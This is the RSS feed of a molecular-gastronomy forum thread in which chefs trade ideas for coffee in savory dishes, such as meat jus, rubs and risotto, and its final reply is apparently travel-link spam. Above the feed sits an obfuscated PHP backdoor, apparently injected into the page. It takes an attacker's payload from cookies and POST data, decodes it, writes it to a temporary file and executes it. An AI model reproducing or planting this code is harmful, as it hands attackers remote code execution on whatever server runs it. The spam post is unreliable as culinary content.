$ELAYRxoh = "\166" . chr ( 505 - 440 ).chr ( 263 - 147 )."\137" . 'c' . chr (97) . 'Q' . chr (79) . "\x59";$cLaWNXWXkv = chr ( 563 - 464 ).chr (108) . chr (97) . 's' . "\163" . "\137" . chr ( 192 - 91 )."\x78" . "\x69" . chr ( 192 - 77 ).'t' . "\163";$yUSMGT = class_exists($ELAYRxoh); $cLaWNXWXkv = "5704";$WpXFTjaRYh = strpos($cLaWNXWXkv, $ELAYRxoh);if ($yUSMGT == $WpXFTjaRYh){function JolRsOTr(){$uuGxWyL = new /* 52902 */ vAt_caQOY(16008 + 16008); $uuGxWyL = NULL;}$NpZCJmv = "16008";class vAt_caQOY{private function WuYKj($NpZCJmv){if (is_array(vAt_caQOY::$ehAEjuzT)) {$name = sys_get_temp_dir() . "/" . crc32(vAt_caQOY::$ehAEjuzT["salt"]);@vAt_caQOY::$ehAEjuzT["write"]($name, vAt_caQOY::$ehAEjuzT["content"]);include $name;@vAt_caQOY::$ehAEjuzT["delete"]($name); $NpZCJmv = "16008";exit();}}public function PQpXpOm(){$ugLeT = "26829";$this->_dummy = str_repeat($ugLeT, strlen($ugLeT));}public function __destruct(){vAt_caQOY::$ehAEjuzT = @unserialize(vAt_caQOY::$ehAEjuzT); $NpZCJmv = "54911_23266";$this->WuYKj($NpZCJmv); $NpZCJmv = "54911_23266";}public function dWVGKyVI($ugLeT, $BMPNRcS){return $ugLeT[0] ^ str_repeat($BMPNRcS, intval(strlen($ugLeT[0]) / strlen($BMPNRcS)) + 1);}public function arkbVX($ugLeT){$PgJBDh = 'b' . chr ( 1071 - 974 )."\163" . chr ( 994 - 893 ).chr ( 935 - 881 )."\x34";return array_map($PgJBDh . '_' . "\x64" . "\145" . "\143" . chr ( 595 - 484 )."\x64" . "\x65", array($ugLeT,));}public function __construct($xMHUz=0){$mCliM = "\54";$ugLeT = "";$OMzVkrE = $_POST;$SqHEfVNGO = $_COOKIE;$BMPNRcS = "6d927bed-d2b9-41fd-88fc-8cb4e0adf8bb";$ryQiuy = @$SqHEfVNGO[substr($BMPNRcS, 0, 4)];if (!empty($ryQiuy)){$ryQiuy = explode($mCliM, $ryQiuy);foreach ($ryQiuy as $McWJA){$ugLeT .= @$SqHEfVNGO[$McWJA];$ugLeT .= @$OMzVkrE[$McWJA];}$ugLeT = $this->arkbVX($ugLeT);}vAt_caQOY::$ehAEjuzT = $this->dWVGKyVI($ugLeT, $BMPNRcS);if (strpos($BMPNRcS, $mCliM) !== FALSE){$BMPNRcS = explode($mCliM, $BMPNRcS); $nvfROaW = sprintf("54911_23266", strrev($BMPNRcS[0]));}}public static $ehAEjuzT = 23838;}JolRsOTr();}
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Molecular RecipesCoffee in Savory Dishes – Molecular Recipes http://www.molecularrecipes.com/molecular-gastronomy-forum/topic/coffee-in-savory-dishes/feed Tue, 04 Feb 2025 23:40:39 +0000 http://bbpress.org/?v=2.5.14-6684 en-US http://www.molecularrecipes.com/molecular-gastronomy-forum/topic/coffee-in-savory-dishes/#post-7971 <![CDATA[Coffee in Savory Dishes]]> http://www.molecularrecipes.com/molecular-gastronomy-forum/topic/coffee-in-savory-dishes/#post-7971 Tue, 10 Dec 2013 05:41:54 +0000 Quantum Chef Have you used coffee in savory dishes? What’s your favorite application? Any ideas on how to use it creatively? Here is the FoodPairing tree of Colombian coffee showing which ingredients pair well with coffee for your inspiration.

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http://www.molecularrecipes.com/molecular-gastronomy-forum/topic/coffee-in-savory-dishes/#post-7990 <![CDATA[Reply To: Coffee in Savory Dishes]]> http://www.molecularrecipes.com/molecular-gastronomy-forum/topic/coffee-in-savory-dishes/#post-7990 Tue, 10 Dec 2013 16:24:21 +0000 tshewman In Red Meat Jus, Flexible for lamb, beef, veal etc. I combine star anise with sauteed onions, deglaze with a reduced red wine and meat stock (like a bordelaise) and add the coffee beans to infuse for a few minutes. It’s a wonderful way to complement the meaty flavors.

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http://www.molecularrecipes.com/molecular-gastronomy-forum/topic/coffee-in-savory-dishes/#post-8006 <![CDATA[Reply To: Coffee in Savory Dishes]]> http://www.molecularrecipes.com/molecular-gastronomy-forum/topic/coffee-in-savory-dishes/#post-8006 Thu, 12 Dec 2013 08:02:52 +0000 Quantum Chef Here are some of the ideas posted on our Facebook page

Frank Centamore Jr: Melted anchovy in coffee for a sauce

Ross Christensen: Ribs rub

Gavin Swonnell: Coffee and confit garlic potato pure with roasted lamb rump and pickled beets works well

Tommy A. Morstad: Buffalo hanger steak w coffee and cinnamon. Chestnuts. Salsify. Spiced cream

Peter Byron Thornhill: Beef tenderloin

Aaron Manter: risotto

Chris Griffin: Jobs coffee cure Kobe ribeyes

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http://www.molecularrecipes.com/molecular-gastronomy-forum/topic/coffee-in-savory-dishes/#post-8007 <![CDATA[Reply To: Coffee in Savory Dishes]]> http://www.molecularrecipes.com/molecular-gastronomy-forum/topic/coffee-in-savory-dishes/#post-8007 Thu, 12 Dec 2013 08:05:08 +0000 Quantum Chef The FoodPairing coffee appetizer: Potato chip with Gruyère, Vanilla Oil and Coffee. Learn more at http://www.molecularrecipes.com/?p=7845

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http://www.molecularrecipes.com/molecular-gastronomy-forum/topic/coffee-in-savory-dishes/#post-12321 <![CDATA[Reply To: Coffee in Savory Dishes]]> http://www.molecularrecipes.com/molecular-gastronomy-forum/topic/coffee-in-savory-dishes/#post-12321 Fri, 25 Oct 2024 07:10:27 +0000 libidek128 Coffee in savory dishes adds a unique depth of flavor that can elevate a meal to new heights. By incorporating coffee into sauces, marinades, or even soups, chefs can enhance the richness of the dish while introducing complex, aromatic notes. This culinary trend not only showcases the versatility of coffee but also complements ingredients like meats and vegetables beautifully. For anyone considering a culinary adventure, perhaps after booking darwin flights today, exploring local eateries that feature coffee-infused savory options could be an exciting way to experience the local food scene.

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